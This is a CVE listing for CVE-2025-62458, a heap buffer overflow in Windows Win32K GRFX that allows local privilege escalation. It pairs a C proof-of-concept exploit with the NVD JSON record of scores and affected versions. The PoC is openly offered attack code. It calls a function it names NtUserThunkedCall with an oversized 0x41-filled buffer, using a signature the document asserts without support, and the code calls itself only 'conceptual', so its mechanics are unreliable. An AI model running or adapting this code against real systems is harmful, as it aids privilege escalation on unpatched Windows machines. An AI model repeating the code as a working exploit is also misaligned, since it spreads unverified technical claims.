CVE-2025-62458

// CVE-2025-62458 PoC - Windows Win32K GRFX Heap Buffer Overflow // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific Windows version targeting #include <windows.h> #include <stdio.h> // NtUserThunkedCall API function pointer typedef NTSTATUS(NTAPI* PFN_NtUserThunkedCall)( PVOID pSmoothFontData, ULONG ulSmoothFontDataSize ); void TriggerVulnerability() { HMODULE hUser32 = GetModuleHandleA("win32u.dll"); if (!hUser32) { hUser32 = GetModuleHandleA("user32.dll"); } PFN_NtUserThunkedCall NtUserThunkedCall = (PFN_NtUserThunkedCall)GetProcAddress(hUser32, "NtUserThunkedCall"); if (!NtUserThunkedCall) { printf("[-] NtUserThunkedCall not found\n"); return; } // Allocate heap buffer for font data - trigger overflow condition // The size is crafted to cause heap buffer overflow in GRFX component SIZE_T overflowSize = 0x10000; // Large allocation PVOID pMaliciousData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, overflowSize); if (pMaliciousData) { // Fill with pattern to facilitate heap exploitation memset(pMaliciousData, 0x41, overflowSize); printf("[*] Triggering CVE-2025-62458 vulnerability...\n"); printf("[*] Malicious buffer at: 0x%p\n", pMaliciousData); printf("[*] Buffer size: 0x%lx\n", overflowSize); // This call triggers the vulnerable code path in GRFX NTSTATUS status = NtUserThunkedCall(pMaliciousData, overflowSize + 0x1000); printf("[*] Call returned: 0x%lx\n", status); HeapFree(GetProcessHeap(), 0, pMaliciousData); } } int main() { printf("CVE-2025-62458 PoC - Win32K GRFX Heap Buffer Overflow\n"); printf("Target: Windows Win32K GRFX Component\n\n"); TriggerVulnerability(); return 0; }

{"cve": {"id": "CVE-2025-62458", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:57.503", "lastModified": "2025-12-12T20:03:32.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "B1A4A63C-AA10-4A4B-8FD6-0519D1F7DFE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "BCB3A273-FB6E-43DC-A247-363179C2400C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "992FE0C2-27E6-4D04-8200-7831DE13C58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62458", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}